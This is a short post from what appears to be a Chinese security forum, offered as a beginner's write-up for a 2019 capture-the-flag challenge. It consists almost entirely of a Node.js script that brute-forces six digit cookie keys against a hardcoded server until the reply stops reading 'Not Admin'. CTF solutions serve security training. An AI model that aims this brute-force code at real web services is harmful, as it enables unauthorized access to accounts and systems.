首页
社区
课程
招聘
[原创]2019Q3 第7题 一个菜鸟的WP
2019-9-11 14:17 2100

[原创]2019Q3 第7题 一个菜鸟的WP

2019-9-11 14:17
2100
var http = require('http');

function nodePostGetRequest(HOST, PORT, method, bodydata, callBackFunction, path, cookie) {
 var body = bodydata;
 var bodyString = JSON.stringify(body);
 var headers = {
'Content-Type': 'application/json',
'Content-Length': bodyString.length,
'Cookie': cookie
 };

var options = {
host: HOST,
port: PORT,
path: path,
method: method,
headers: headers
   };
   var req = http.request(options, function(res) {
res.setEncoding('utf-8');

var responseString = '';

res.on('data', function(data) {
    responseString += data;
});

res.on('end', function() {
    callBackFunction(responseString);
});

req.on('error', function(e) {
    console.log('-----error-------', e);
});
 });
 req.write(bodyString);
req.end();
}

var mycookie = "";
var a=0,b=0,c=0,d=0,e=0,f=0;
var go = true;
var num=0;
var str="";

function dealCallback(str){
	console.log(str+"\n");
	if(str == "Not Admin" && go)gogogo();
}

function gogogo(){
	str = String(num);
	while(str.length<6){
		str = '0'+str;
	}
	console.log(str);
	a=str.substr(0,1);
	b=str.substr(1,1);
	c=str.substr(2,1);
	d=str.substr(3,1);
	e=str.substr(4,1);
	f=str.substr(5,1);
	mycookie = "key0="+a+";key1="+b+";key2="+c+";key3="+d+";key4="+e+";key5="+f;
	num++;
	console.log("trying: "+mycookie);
	nodePostGetRequest("154.8.174.214", "8080", "GET", "", dealCallback, "http://154.8.174.214:8080/index.php", mycookie);
}
gogogo();



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2019-9-25 10:02 被kanxue编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回